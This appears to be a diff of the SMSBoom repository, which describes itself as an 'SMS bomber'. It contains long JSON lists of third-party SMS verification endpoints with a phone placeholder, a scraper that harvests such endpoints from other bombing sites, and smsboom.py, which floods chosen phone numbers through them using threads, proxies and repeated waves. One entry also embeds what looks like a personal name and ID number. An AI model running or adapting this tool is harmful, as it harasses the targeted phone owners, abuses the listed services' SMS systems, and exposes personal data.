"type": "regUser",
"mobile": "PC"
}
},
{
"desc": "火象",
"url": "https://v1.alphazone-data.cn/academy/api/v1/sendsms",
"method": "POST",
"header": "",
"data": {
"temp": "1",
"phone": "[phone]"
}
},
{
"desc": "中科教育",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "聚题库",
"url": "https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "苏州高新区教育局",
"url": "https://jssnd.edu.cn/apiu/v1/register/auth",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "专业技术人员继续教育平台",
"url": "http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
"method": "GET",
"header": "",
"data": {}
},
{
"desc": "泰安专技",
"url": "https://sdta-web.yxlearning.com/sendphoneCode.gson",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]",
"sendType": "4"
}
},
{
"desc": "志睿择",
"url": "https://www.vipexam.cn/user/identifyingCode.action",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "漏洞银行",
"url": "https://www.bugbank.cn/api/verifymobile",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "中国劳动保障新闻网",
"url": "https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
},
{
"desc": "广东省心理学会",
"url": "http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
"method": "POST",
"header": "",
"data": {
"phone": "[phone]"
}
},
{
"desc": "费耘网",
"url": "https://www.feeclouds.com/homepage/register/send",
"method": "POST",
"header": "",
"data": {
"mobile": "[phone]"
}
}
]

62
debug/hz-web.json Executable file
View File

@@ -0,0 +1,62 @@
[
{
"url": "https://duanxin.97sq.com/",
"key": "",
"title": "在线短信测压 97社区短信测压"
},
{
"url": "https://www.yxdhma.cn/",
"key": "",
"title": "大树免费短信测压"
},
{
"url": "http://107.173.149.61/index.php",
"key": "",
"title": "在线短信测压 智云短信轰炸"
},
{
"url": "http://www.ono.plus/iaJIR00a0sqf/index.php",
"key": "",
"title": "在线短信测压"
},
{
"url": "http://91zn.top/ylcs/",
"key": "",
"title": "免费短信测压"
},
{
"url": "http://103.45.122.14/index.php",
"key": "",
"title": "Hello短信测压"
},
{
"url": "https://ialtone.xyz/message/index.php",
"key": "",
"title": "ialtone的短信测压站"
},
{
"url": "http://lzc.muigs.xyz/index2.php?",
"key": "",
"title": "短信测压-冷之晨"
},
{
"url": "http://101.132.154.124:1200/index.php",
"key": "",
"title": "在线短信测压轰炸"
},
{
"url": "https://ceya.kpxdr.com/index.php",
"key": "",
"title": "在线短信测压—云端轰炸"
},
{
"url": "https://128.14.239.248/index.php",
"key": "",
"title": "在线短信测压 秋思短信轰炸"
},
{
"url": "http://101.43.16.51:665/index.php",
"key": "",
"title": ""
}
]

224
debug/spider-api.py Executable file
View File

@@ -0,0 +1,224 @@
#!/usr/bin/python python3
# coding=utf-8
# 爬取轰炸平台接口
from loguru import logger
import httpx
import requests
import re
from utils import Sql
import queue
import pathlib
import threading
import sys
import json
from prettytable import PrettyTable
import click
import urllib3
urllib3.disable_warnings()
# logger config
logger.remove()
logger.add(
sink=sys.stdout,
format="<green>{time:YYYY-MM-DD at HH:mm:ss}</green> - <level>{level}</level> - <level>{message}</level>",
colorize=True,
backtrace=True
)
path = pathlib.Path(__file__).parent
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36",
}
class SMS(object):
# 默认的请求密钥
default_phone = "15019682928"
key_default = f"?hm={default_phone}&ok="
def __init__(self, website, key) -> None:
self.url = website
self.header = header
if key == "":
self.key = self.key_default
self.api_queue = queue.Queue()
self.db = Sql()
self.lock = threading.Lock()
self.ok_api = 0
def get_sms_api(self):
'''请求短信轰炸平台'''
with httpx.Client(verify=False) as ses:
ses.get(self.url, headers=self.header)
resp = ses.get(f"{self.url}{self.key}", headers=self.header)
pat = re.compile(r"<img src='(.*?)' alt")
apis = pat.findall(resp.text)
assert not apis == [], "未找到任何接口!"
# print(resp.text)
logger.info("获取到的原始接口总数:%s" % (len(apis)))
for api in apis:
# 三重校验网址
# 排除接口中没有电话号码的网址
if self.default_phone not in api:
continue
# 去除空白字符并替换默认手机号
api = api.strip().replace(" ", "").replace(
self.default_phone, "[phone]")
# 校验网址开头
if not (api.startswith("https://") or api.startswith("http://")):
continue
self.api_queue.put(api)
logger.info("Put到队列的接口总数:%s" % (self.api_queue.qsize()))
self.size = self.api_queue.qsize()
def check_theads(self):
'''多线程检查可用性'''
while not self.api_queue.empty():
api = self.api_queue.get()
try:
with requests.get(api.replace("[phone]", self.default_phone), headers=self.header, timeout=8, verify=False) as resp:
if resp.status_code == 200:
with self.lock:
self.db.update(api)
except Exception as e:
pass
finally:
self.api_queue.task_done()
def main(self):
self.get_sms_api()
# 在此设置线程数 int 类型
threads_count = 254
threads = [
threading.Thread(target=self.check_theads,
name=f"{i}", daemon=True)
for i in range(1, threads_count+1)
]
for thread in threads:
thread.start()
logger.info("多线程校验进行中......(可能耗时比较长)")
from tqdm import tqdm
import time
with tqdm(total=self.size) as pbar:
while not self.api_queue.empty():
pbar.update(self.size-self.api_queue.qsize())
self.size = self.api_queue.qsize()
time.sleep(0.5)
self.api_queue.join()
logger.info(f"总接口数目(去重后):{len(self.db.select())}")
def test_api_web(url: str) -> tuple:
"""check api web is ok?
:return: tuple
"""
if url is None:
return
with httpx.Client(headers=header, verify=False) as client:
try:
resp = client.get(url=url).text
title = re.findall('<title>(.*?)</title>', resp)
if title:
logger.info(f"{url} title:{title[0]}")
return (title[0], url)
except httpx.HTTPError as why:
logger.error(f"{url} 请求错误! {why}")
return
def load_api_web():
"""从 json 文件加载轰炸网址.并测试!
:return:
"""
json_path = pathlib.Path(path, 'hz-web.json')
table = PrettyTable(["标题", "链接"])
if not json_path.exists():
logger.error(f"hz-web.json not exists in {str(json_path)}!")
return
j = json_path.read_text(encoding="utf8")
ok_web = []
try:
webs = json.loads(j)
except json.decoder.JSONDecodeError as why:
logger.error(f"json syctax error! {why}")
return
for web in webs:
result = test_api_web(web['url'])
if result:
table.add_row([result[0], result[1]])
ok_web.append(
{"url": result[1], "key": web.get('key'), "title": result[0]})
logger.success(f"有效的轰炸网站:\n{table}")
if input(">>是否写入 hz-web.json?(Y/n)") == "Y":
with open(json_path, encoding="utf8", mode="w") as fp:
try:
json.dump(ok_web, fp, ensure_ascii=False)
logger.success("save hz-web.json success!")
except Exception as why:
logger.error(f"write hz-web.json error {why}")
return ok_web
@click.group()
def cli():
pass
@click.command()
def spider_all():
"""
根据目录下的 hz-web.json 文件更新接口
"""
websites = load_api_web()
for website in websites:
logger.info(f"正在爬取:{website['url']}")
try:
sms = SMS(website=website['url'], key=website['key']).main()
except Exception as why:
logger.critical(f"爬取:{website['url']} 出错:{why}")
@click.command()
@click.option('--url', help='轰炸网站的网址,结尾需要带/', prompt=True)
@click.option('--key', help='网址携带的参数(可选)', default="")
def spider_one(url, key):
"""爬取单个网址."""
try:
sms = SMS(website=url, key=key).main()
except Exception as why:
logger.critical(f"爬取:{url} 出错:{why}")
@click.command()
@logger.catch
def save_api():
"""保存api到 GETAPI.json 文件"""
db = Sql()
apis = db.select()
api_lst = [
api
for api in apis
]
with open("GETAPI.json", mode="w") as j:
json.dump(fp=j, obj=api_lst, ensure_ascii=False)
logger.success("写入到 GETAPI.json 成功!")
cli.add_command(spider_all)
cli.add_command(spider_one)
cli.add_command(save_api)
if __name__ == '__main__':
cli()

40
debug/tou_api.py Executable file
View File

@@ -0,0 +1,40 @@
# encoding=utf8
# 从 api.js 偷别人家的接口
import pathlib
import json
from pydantic import BaseModel
from typing import Optional, Union
path = pathlib.Path(__file__).parent.resolve()
class API(BaseModel):
"""处理自定义 API 数据"""
desc: str = "Default"
url: str = ""
method: str = "GET"
header: Optional[Union[str, dict]] = ""
data: Optional[Union[str, dict]]
def main():
with open(pathlib.Path(path, "touapi.json"), mode="r", encoding="utf8") as c:
js = json.load(fp=c)
apis = []
for j in js:
# print(j)
api = API()
api.url = j[0]
api.method = j[3]
api.desc = j[2]
api.data = j[4]
apis.append(api.dict())
# print(apis)
with open(pathlib.Path(path, "api_tou.json"), mode="w", encoding="utf8") as cc:
js = json.dump(obj=apis, fp=cc, ensure_ascii=False)
if __name__ == "__main__":
main()

533
debug/touapi.json Executable file
View File

@@ -0,0 +1,533 @@
[
[
"https://www.decathlon.com.cn/zh/ajax/rest/model/atg/userprofiling/ProfileActor/send-mobile-verification-code",
"111",
"迪卡侬",
"POST",
{
"countryCode": "CN",
"mobile": "[phone]"
},
"https://www.decathlon.com.cn/zh/create"
],
[
"https://www.guhai.com.cn/front/member/sendSmsCode",
60,
"股海网",
"POST",
{
"mobile": "[phone]"
},
"https://www.guhai.com.cn/register.html"
],
[
"http://www.lll.plus/sendCode/",
60,
"LLL的个人blog",
"POST",
{
"tel": "[phone]",
"forgetPwd": ""
},
"http://www.lll.plus/register/"
],
[
"https://www.xcxui.com/index/register/getcode.html",
60,
"企米子",
"POST",
{
"tel": "[phone]"
},
"https://www.xcxui.com/index/register"
],
[
"https://id.pgyer.com/user/getRegisterCode",
60,
"蒲公英",
"POST",
{
"tel": "[phone]",
"callingCode": "86",
"mode": "tel"
},
"https://id.pgyer.com/user/register?mode=tel"
],
[
"https://erp.abiz.com/mobilecode/sendMobileCode",
60,
"百卓优采",
"POST",
{
"mobile": "[phone]",
"captcha": ""
},
"https://erp.abiz.com/register"
],
[
"https://brand.yunbeilou.com/index.php/smssend",
30,
"云背篓",
"POST",
{
"phone": "[phone]",
"v": "yes"
},
"https://brand.yunbeilou.com/index.php/register"
],
[
"https://m.php.cn/account/phone_code.html",
60,
"PHP中文网",
"POST",
{
"phone": "[phone]"
},
"https://m.php.cn/reg.html"
],
[
"http://dhba.12321.cn/api/verifycode",
60,
"12321",
"POST",
{
"phone": "[phone]"
},
"http://dhba.12321.cn/user/register"
],
[
"https://www.ztestin.com/users/send/vercode",
60,
"Testin众测",
"POST",
{
"phone": "[phone]",
"type": "register",
"voice": "0"
},
"https://www.ztestin.com/users/register?from=menu"
],
[
"http://maker.haier.net/client/user/sendregistervcode.html",
60,
"海尔",
"POST",
{
"account": "[phone]"
},
"http://maker.haier.net/client/mobile/register.html"
],
[
"https://www.feimaoyun.com/index.php/invite/h5sendmsg",
30,
"飞猫云",
"POST",
{
"pcode": "+86",
"phone": "[phone]"
},
"https://yq.jingfile.com/static/invite/register.html?type=3&code=FM666685N0UFSVIP"
],
[
"https://end.huajuetech.com/api/sendCode",
60,
"华觉数字化平台",
"POST",
{
"mobile": "[phone]",
"email": "null",
"verfy_method": "mobile"
},
"https://end.huajuetech.com/admin.php/system/Passport/regist.html"
],
[
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/get_yzm",
120,
"问政江西",
"POST",
{
"phone": "[phone]"
},
"https://wenz.jxnews.com.cn/ms/index.php/Home/User/register/"
],
[
"http://api.hndyjyfw.gov.cn/djapi/mobileVerify",
60,
"河南智慧党建",
"POST",
{
"phone": "[phone]",
"verifytype": "1"
},
"http://www.hndyjyfw.gov.cn/register.html"
],
[
"https://cloud.666idc.com/index/login/sendsms.html",
60,
"陆陆陆云安全",
"POST",
{
"mobile": "[phone]",
"mobile_pre": "86"
},
"https://cloud.666idc.com/index/login/register"
],
[
"https://dz.blizzard.cn/action/user/mobile/captcha",
60,
"网易",
"POST",
{
"mobile": "[phone]"
},
"https://dz.blizzard.cn/register"
],
[
"https://www.codeseeding.com/loginUser/toSend",
60,
"码云社",
"POST",
{
"phone": "[phone]"
},
"https://www.codeseeding.com/index"
],
[
"http://sso.rcsd.cn/regist/getVerifyCode",
120,
"人才山东",
"POST",
{
"personcall": "[phone]"
},
"http://sso.rcsd.cn/regist/registeHome"
],
[
"http://sso.mwr.cn/suserRegister/verifyAccountAndphone.action",
60,
"水利部",
"POST",
{
"mobile": "[phone]"
},
"http://sso.mwr.cn/examine/getexamines.jsp"
],
[
"http://ut7.whu.edu.cn/Home/studentCommon/Student_getVerifyCode",
60,
"七联大学",
"POST",
{
"phoneNumber": "[phone]",
"sendType": "0"
},
"http://ut7.whu.edu.cn/Home/studentCommon/studentLogin.jsp"
],
[
"https://www.0101ssd.com/user/sendmsg",
60,
"闪德资讯",
"POST",
{
"mobile": "[phone]",
"event": "register"
},
"https://www.0101ssd.com/"
],
[
"https://mskzkt.jse.edu.cn/baseApi/user/code/",
60,
"江苏省名师空中课堂",
"POST",
{
"mobile": "[phone]",
"type": "1"
},
"https://mskzkt.jse.edu.cn/baseApi/user/code/"
],
[
"https://csff.cutv.com/wapi/users/sendregcode",
60,
"CSFF短片",
"POST",
{
"telphone": "[phone]"
},
"https://csff.cutv.com/register"
],
[
"http://rswb.gx12333.net/member/getRegisterphoneCode.jspx",
60,
"广西人社厅",
"POST",
{
"aae005": "[phone]",
"aac003": "刘萌萌",
"aac002": "210212198506035924",
"notkeyflag": "1"
},
"http://rswb.gx12333.net/member/register.jhtml"
],
[
"https://www.maxell-dm.cn/Code/CheckImage.aspx",
60,
"麦克赛尔数字映像",
"POST",
{
"action": "send",
"txtMember_Name": "[phone]"
},
"https://www.maxell-dm.cn/register.aspx"
],
[
"http://main.jiajiaozaixian.com//reginfo/sendRankByMobileReginfo.action",
60,
"宝提分",
"POST",
{
"mobile": "[phone]"
},
"http://main.jiajiaozaixian.com/zhuce/student/zhuce_xy1.jsp?"
],
[
"http://www.cnppump.ltd/Service/UserHandler.ashx",
60,
"选型系统",
"GET",
{
"cmd": "GetTelVerifyCode",
"Tel": "[phone]"
},
"http://www.cnppump.ltd/Register/RegisterByTel.aspx"
],
[
"http://vip.qianlima.com/rest/u/api/user/register/mobile/code",
60,
"千里马网信科技",
"POST",
{
"tips": "1",
"shouji": "[phone]"
},
"http://vip.qianlima.com/register.html"
],
[
"https://baodingyun.com.cn/register/send_registerSMS.html",
60,
"保定云",
"POST",
{
"phone": "[phone]"
},
"https://baodingyun.com.cn/register.html"
],
[
"http://www.gm5.com/auth/registerSms.html",
60,
"欢动游戏",
"POST",
{
"mobile": "[phone]"
},
"http://www.gm5.com/auth/register.html"
],
[
"https://www.maiwe.com.cn/index/sendcode.html",
60,
"迈威",
"GET",
{
"tel": "[phone]"
},
"https://www.maiwe.com.cn/index/register.html"
],
[
"https://www.dehua.net/include/ajax.php?service=siteConfig&action=getphoneVerify&type=signup&phone=[phone]&areaCode=86",
60,
"憨鼠社区",
"GET",
{},
""
],
[
"https://user.daojia.com/mobile/getcode?mobile=[phone]&newVersion=1&bu=112",
60,
"天鹅到家",
"GET",
{},
""
],
[
"http://ks.ndzhugong.com/getVerificationCode?phone=[phone]&password=&smscode=",
60,
"诺达筑工",
"GET",
{},
""
],
[
"http://211.149.170.226:8201/dczp-cloud-client/rrs/user/sendSms?[phone]&[phone]&smsMode=2",
60,
"栋才智慧",
"GET",
{},
""
],
[
"http://wf.zhuanjipx.com:8084//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=a87c9338-43a1-66ea-8ce7-1b1ac7c39d69",
60,
"工伤预防网上培训平台",
"GET",
{},
""
],
[
"https://sdjn-web.yxlearning.com/sendphoneCode.gson",
60,
"济宁专技",
"POST",
{
"phone": "[phone]",
"sendType": "4"
},
"https://sdjn-web.yxlearning.com/staffRegister.shtml"
],
[
"http://www.yddzgc.com/bid-app/api/sys/code?phone=[phone]&type=1",
60,
"宁夏伊地地质工程有限公司",
"GET",
{},
""
],
[
"http://zycp.qcdxs.com:5001/sms/sendsms",
60,
"青春大学说",
"POST",
{
"phone_number": "[phone]"
},
"http://zycp.qcdxs.com/user/register.html"
],
[
"https://api.gzxyld.cn/HuiEbid/HuiEbidServer/doSendSms/getSms",
60,
"兴业利达电子招投标平台",
"POST",
{
"username": "[phone]",
"type": "regUser",
"mobile": "PC"
},
"https://www.gzxyld.cn/HuiEbid/view/register.html"
],
[
"https://v1.alphazone-data.cn/academy/api/v1/sendsms",
60,
"火象",
"POST",
{
"temp": "1",
"phone": "[phone]"
},
"https://www.alphazone.com.cn/register.html"
],
[
"https://www.vipexam.cn/user/identifyingCode.action",
60,
"中科教育",
"POST",
{
"phone": "[phone]"
},
"https://www.vipexam.cn/register.html"
],
[
"https://uc.csdhe.com/v1/sms/send?mobile=[phone]&apptype=examWeb",
60,
"聚题库",
"GET",
{},
""
],
[
"https://jssnd.edu.cn/apiu/v1/register/auth",
60,
"苏州高新区教育局",
"POST",
{
"phone": "[phone]"
},
"https://jssnd.edu.cn/register.html"
],
[
"http://zhuanjipx.com:8082//api-user/zjUsersPersonal/getSmsCode?mobile=[phone]&mobileCodeId=685110c6-cef4-bb01-8f4d-19ea89f4d3f8",
60,
"专业技术人员继续教育平台",
"GET",
{},
""
],
[
"https://sdta-web.yxlearning.com/sendphoneCode.gson",
60,
"泰安专技",
"POST",
{
"phone": "[phone]",
"sendType": "4"
},
"https://sdta-web.yxlearning.com/staffRegister.shtml"
],
[
"https://www.vipexam.cn/user/identifyingCode.action",
60,
"志睿择",
"POST",
{
"phone": "[phone]"
},
"https://www.vipexam.cn/register.html"
],
[
"https://www.bugbank.cn/api/verifymobile",
90,
"漏洞银行",
"POST",
{
"mobile": "[phone]"
},
"https://www.bugbank.cn/bbe/register.html"
],
[
"https://www.clssn.com/jhxtapi/web/Login/sendSmsCode",
60,
"中国劳动保障新闻网",
"POST",
{
"mobile": "[phone]"
},
"https://www.clssn.com/register.html"
],
[
"http://gpa-gd.scnu.edu.cn/member/index/public_send_code.html",
60,
"广东省心理学会",
"POST",
{
"phone": "[phone]"
},
"http://gpa-gd.scnu.edu.cn/member/index/register.html?siteid=1"
],
[
"https://www.feeclouds.com/homepage/register/send",
60,
"费耘网",
"POST",
{
"mobile": "[phone]"
},
"https://www.feeclouds.com/register.html"
]
]

BIN
img/GIF111.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 12 MiB

BIN
img/cmd1.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

BIN
img/cmd2.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

BIN
img/e.g.1.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

BIN
img/smsboom-logo.png Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 102 KiB

BIN
img/test2.gif Executable file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.8 MiB

BIN
logo.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.2 KiB

BIN
requirements-dev.txt Executable file

Binary file not shown.

BIN
requirements.txt Executable file

Binary file not shown.

211
smsboom.py Executable file
View File

@@ -0,0 +1,211 @@
# encoding=utf8
# 短信测压主程序
from utils import default_header_user_agent
from utils.log import logger
from utils.models import API
from utils.req import reqFunc, reqFuncByProxy, runAsync
from concurrent.futures import ThreadPoolExecutor
from typing import List, Union
import asyncio
import json
import pathlib
import sys
import time
import click
import httpx
import os
# 確定應用程序係一個腳本文件或凍結EXE
if getattr(sys, 'frozen', False):
path = os.path.dirname(sys.executable)
elif __file__:
path = os.path.dirname(__file__)
def load_proxies() -> list:
"""load proxies for files
:return: proxies list
"""
proxy_all = []
proxy_file = ["http_proxy.txt", "socks5_proxy.txt", "socks4_proxy.txt"]
for fn in proxy_file:
f_obj = pathlib.Path(path, fn)
if f_obj.exists():
proxy_lst = pathlib.Path(path, fn).read_text(
encoding="utf8").split("\n")
if not proxy_lst:
continue
if fn == "http_proxy.txt":
for proxy in proxy_lst:
if proxy:
proxy_all.append({'all://': 'http://' + proxy})
elif fn == "socks5_proxy.txt":
for proxy in proxy_lst:
if proxy:
proxy_all.append({'all://': 'socks5://' + proxy})
elif fn == "socks4_proxy.txt":
for proxy in proxy_lst:
if proxy:
proxy_all.append({'all://': 'socks4://' + proxy})
else:
f_obj.touch()
logger.success(f"代理列表加载完成,代理数:{len(proxy_all)}")
return proxy_all
def load_json() -> List[API]:
"""load json for api.json
:return: api list
"""
json_path = pathlib.Path(path, 'api.json')
if not json_path.exists():
logger.error("Json file not exists!")
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
APIs = [
API(**data)
for data in datas
]
logger.success(f"api.json 加载完成 接口数:{len(APIs)}")
return APIs
except Exception as why:
logger.error(f"Json file syntax error:{why}")
raise ValueError
def load_getapi() -> list:
"""load GETAPI
:return:
"""
json_path = pathlib.Path(path, 'GETAPI.json')
if not json_path.exists():
logger.error("GETAPI.json file not exists!")
raise ValueError
with open(json_path.resolve(), mode="r", encoding="utf8") as j:
try:
datas = json.loads(j.read())
logger.success(f"GETAPI加载完成,数目:{len(datas)}")
return datas
except Exception as why:
logger.error(f"Json file syntax error:{why}")
raise ValueError
@click.command()
@click.option("--thread", "-t", help="线程数(默认64)", default=64)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", multiple=True, type=str)
@click.option('--frequency', "-f", default=1, help="执行次数(默认1次)", type=int)
@click.option('--interval', "-i", default=60, help="间隔时间(默认60s)", type=int)
@click.option('--enable_proxy', "-e", is_flag=True, help="开启代理(默认关闭)", type=bool)
def run(thread: int, phone: Union[str, tuple], frequency: int, interval: int, enable_proxy: bool = False):
"""传入线程数和手机号启动轰炸,支持多手机号"""
while not phone:
phone = input("Phone: ")
for i in phone:
if not i.isdigit():
logger.error("手机号必须为纯数字!")
sys.exit(1)
logger.info(
f"手机号:{phone}, 线程数:{thread}, 执行次数:{frequency}, 间隔时间:{interval}")
try:
_api = load_json()
_api_get = load_getapi()
_proxies = load_proxies()
# fix: by Ethan
if not _proxies:
if enable_proxy:
logger.error("无法读取任何代理....请取消-e")
sys.exit(1)
_proxies = [None]
except ValueError:
logger.error("读取接口出错!正在重新下载接口数据!....")
update()
sys.exit(1)
with ThreadPoolExecutor(max_workers=thread) as pool:
for i in range(1, frequency + 1):
logger.success(f"{i}波轰炸开始!")
# 此處代碼邏輯有問題,如果 _proxy 為空就不會啓動轟炸,必須有東西才行
for proxy in _proxies:
logger.success(f"{i}波轰炸 - 当前正在使用代理:" +
proxy['all://'] + " 进行轰炸...") if enable_proxy else logger.success(f"{i}波开始轰炸...")
# 不可用的代理或API过多可能会影响轰炸效果
for api in _api:
pool.submit(reqFuncByProxy, api, phone, proxy) if enable_proxy else pool.submit(
reqFunc, api, phone)
for api_get in _api_get:
pool.submit(reqFuncByProxy, api_get, phone, proxy) if enable_proxy else pool.submit(
reqFunc, api_get, phone)
logger.success(f"{i}波轰炸提交结束!休息{interval}s.....")
time.sleep(interval)
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.command()
def asyncRun(phone):
"""以最快的方式请求接口(真异步百万并发)"""
_api = load_json()
_api_get = load_getapi()
apis = _api + _api_get
loop = asyncio.get_event_loop()
loop.run_until_complete(runAsync(apis, phone))
@click.option("--phone", "-p", help="手机号,可传入多个再使用-p传递", prompt=True, required=True, multiple=True)
@click.command()
def oneRun(phone):
"""单线程(测试使用)"""
_api = load_json()
_api_get = load_getapi()
apis = _api + _api_get
for api in apis:
try:
reqFunc(api, phone)
except:
pass
@click.command()
def update():
"""从 github 获取最新接口"""
GETAPI_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/GETAPI.json"
API_json_url = f"https://hk1.monika.love/OpenEthan/SMSBoom/master/api.json"
logger.info(f"正在从GitHub拉取最新接口!")
try:
with httpx.Client(verify=False, timeout=10) as client:
GETAPI_json = client.get(
GETAPI_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
api_json = client.get(
API_json_url, headers=default_header_user_agent()).content.decode(encoding="utf8")
except Exception as why:
logger.error(f"拉取更新失败:{why}请关闭所有代理软件多尝试几次!")
else:
with open(pathlib.Path(path, "GETAPI.json").absolute(), mode="w", encoding="utf8") as a:
a.write(GETAPI_json)
with open(pathlib.Path(path, "api.json").absolute(), mode="w", encoding="utf8") as a:
a.write(api_json)
logger.success(f"接口更新成功!")
@click.group()
def cli():
pass
cli.add_command(run)
cli.add_command(update)
cli.add_command(asyncRun)
cli.add_command(oneRun)
if __name__ == "__main__":
cli()

57
smsboom_GUI.py Normal file
View File

@@ -0,0 +1,57 @@
from tkinter import Tk, StringVar
from tkinter import ttk
class InputWidget(ttk.Frame):
"""输入框,确认框"""
def __init__(self, parent=None):
ttk.Frame.__init__(self, parent)
self.parent = parent
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
self.phone = StringVar()
self.createWidget()
for child in self.winfo_children():
child.grid_configure(padx=5, pady=5)
self.pack()
def createWidget(self):
"""InputWidget"""
ttk.Label(self, text="手机号:").grid(column=0, row=0, sticky='nsew')
ttk.Entry(self, textvariable=self.phone).grid(
column=1, row=0, columnspan=3, sticky='nsew')
ttk.Button(self, text="启动轰炸").grid(
column=4, row=0, sticky='nsew')
class Application(ttk.Frame):
"""APP main frame"""
def __init__(self, parent=None):
ttk.Frame.__init__(self, parent)
self.parent = parent
# 伸缩
self.columnconfigure(0, weight=1)
self.rowconfigure(0, weight=1)
self.createWidget()
# 间隔
for child in self.winfo_children():
child.grid_configure(padx=5, pady=5)
self.pack()
def createWidget(self):
"""Widget"""
input_wiget = InputWidget(self)
if __name__ == "__main__":
root = Tk()
root.title("SMSBoom - 短信轰炸机 ©落落")
root.columnconfigure(0, weight=1)
root.rowconfigure(0, weight=1)
Application(parent=root)
root.mainloop()

339
utils/__init__.py Normal file
View File

@@ -0,0 +1,339 @@
import random
USER_AGENT_LIST = [
{
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0"},
{
"User-Agent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Lunascape 5.0 alpha2)"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.7 Safari/532.2"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon;"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.169.0 Safari/530.1"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP; rv:1.7) Gecko/20040614 Firefox/0.9"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6"},
{"User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; TencentTraveler)"},
{
"User-Agent": "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4"},
{"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.7.5) Gecko/20041107 Firefox/1.0"},
{
"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19"},
{
